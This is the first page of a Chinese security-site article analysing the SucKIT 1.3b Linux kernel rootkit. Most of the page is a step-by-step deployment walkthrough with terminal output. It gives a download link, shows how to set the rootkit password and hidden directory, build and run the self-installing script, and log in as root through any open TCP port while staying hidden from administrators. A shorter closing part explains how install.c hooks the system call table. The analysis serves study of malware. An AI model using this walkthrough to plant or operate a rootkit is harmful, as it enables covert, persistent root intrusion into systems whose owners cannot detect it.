首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>病毒分析>文章内容
Linux后门系列--由浅入深sk13完全分析
来源:http://xsec.org 作者:wzt 发布时间:2009-05-04  

1、编译
下载代码 http://www.xfocus.net/tools/200408/sk-1.3b.tar.gz
先配置一下参数:
tthacker@wzt:~/sk# make skconfig
rm -f include/config.h sk login inst
make[1]: Entering directory `/root/sk/src'
make[1]: Leaving directory `/root/sk/src'
make[1]: Entering directory `/root/sk/src'
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c sha1.c
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -c crypto.c
In file included from ../include/extern.h:9,
                 from ../include/stuff.h:18,
                 from crypto.c:7:
../include/skstr.h:20: warning: conflicting types for built-in function `vsnprintf'
../include/skstr.h:22: warning: conflicting types for built-in function `vsprintf'
../include/skstr.h:25: warning: conflicting types for built-in function `vsscanf'
gcc -Wall -O2 -fno-unroll-all-loops -I../include -I../ -DECHAR=0x0b -s zpass.c sha1.o crypto.o -o pass
make[1]: Leaving directory `/root/sk/src'
/dev/null

Please enter new rootkit password: -->这里输入rookit的登录密码
Again, just to be sure:
OK, new password set.
Home directory [/dev/sk13]: /dev/sk13 -->这里设置隐藏的目录
Magic file-hiding suffix [sk13]: sk13 -->这里设置文件隐藏的前缀

Configuration saved.
>From now, _only_ this configuration will be used by generated
binaries till you do skconfig again.

To (re)build all of stuff type 'make' -->现在我们可以开始编译了
tthacker@wzt:~/sk#make
这里省略N字,当我们看到下面的信息的时候,sk就编译好了
Okay, file 'inst' is complete, self-installing script.
Just upload it somewhere, execute and you could log in using
./login binary.

Have fun!

生成了一个安装文件,是一个shell脚本,他会自动安装后门的。
我们直接执行他就可以安装了
tthacker@wzt:~/sk# ./inst
Your home is /dev/sk13, go there and type ./sk to install
us into memory. Have fun!
我们的home目录就在/dev/sk13了,以后我们的相关的程序就都放这里好了,隐藏的,管理员看不见 :)
tthacker@wzt:~/sk# cd /dev/sk13
tthacker@wzt:/dev/sk13# ./sk
RK_Init: idt=0xffc18000
嘿嘿,安装完毕,我们现在可以使用客户端登录了,客户端在编译sk的时候也一同生成了的,我们一起看看,很爽的,只要对方开放了任何一个TCP端口,我们就可以通过这个端口进入系统,权限是root哦。
tthacker@wzt:~/sk# ./login
/dev/null
use:
./login [hsditc] ...args
-h      Specifies ip/hostname of host where is running
        suckitd
-s      Specifies port where we should listen for incoming
        server' connection (if some firewalled etc), if not
        specified, we'll get some from os
-d      Specifies port of service we could use for authentication
        echo, telnet, ssh, httpd... is probably good choice
-i      Interval between request sends (in seconds)
-t      Time we will wait for server before giving up (in seconds)
-c      Connect timeout (in seconds)

tthacker@wzt:~/sk# ./login -h 192.168.1.1 -d
/dev/null
Listening to port 43544
password:
Trying 192.168.1.1:80 ... -->嘿嘿,开了80我们也照进。
Trying...Et voila
Server connected. Escape character is '^K'
/dev/null
[tthacker@localhost sk13]# -->yeah,我们进来了,我们在这个环境里执行的任何程序的进程,开放的任何端口,管理员都看不到的,不过千万别删除别搞破坏啊。              

知其然,知其所以然,我们一起从代码级别仔细剖析这个超级强大的sk吧。


四、install.c执行流程

sk 的优点我们就介绍完了,那么到底它这么强悍的功能是如何实现的呢?最近我在分析sk2的代码,对它的hook原理还不是很清楚。于是就想看看sk13b的 hook方法和它有什么区别,没准还能多给我一些提示呢。于是翻出了sk13b代码分析了通,hook原理与sk2的真不相同。
如作者所说,sk13b把系统中一些不经常用的系统调用替换为kmalloc()的地址,然后给那个系统
调用传递kmalloc的参数,就可以在内核空间为sk分配空间了。为了学习我把分析过程写出来,
如果有什么不对的地方,欢迎斧正。


    install()函数的功能是为kernel.c做初始化整备,并把sk装载到内存中。这也是sk hook原理最精华的部分了。
    首先得到idt表的地址,然后得到int 0x80中断描述符的地址,通过读kmem把其int 0x80中断描述符的
    内容到idt80结构中,然后提取出system_call在系统中的实际地址,在通过get_sct函数得到sys_call_table的
    地址。用kmalloc的地址,替换oldolduname系统调用的入口地址,在利用kmalloc在内核为sk分配空间。
    最后转向kernel.c继续执行。
共11页: 上一页 [1] 2 [3] [4] [5] [6] [7] [8] [9] [10] [11] 下一页
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Word溢出Shellcode分析
·浅谈反病毒技术的前世今生
·Ie0dayCVE0806.c 变种网马样本分
·Web应用漏洞的大规模攻击案例分
·Ie0dayCVE0806网马样本分析
·Witty病毒通过ISS的防火墙产品和
·酷狗音乐首页隐蔽挂马详细分析+7
·Net-Worm.Win32.Dasher(黛蛇)蠕
·熊猫烧香病毒分析与解决方案
·卡巴斯基(AVP)内存驻留型病毒检
·104种木马手工清除方法
·avserve病毒初步分析
  相关文章
·Word溢出Shellcode分析
·酷狗音乐首页隐蔽挂马详细分析+7
·熊猫烧香病毒分析与解决方案
·Ie0dayCVE0806网马样本分析
·Ie0dayCVE0806.c 变种网马样本分
·卡巴斯基(AVP)内存驻留型病毒检
·Net-Worm.Win32.Dasher(黛蛇)蠕
·浅谈反病毒技术的前世今生
·avserve病毒初步分析
·Witty病毒通过ISS的防火墙产品和
·104种木马手工清除方法
·Web应用漏洞的大规模攻击案例分
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved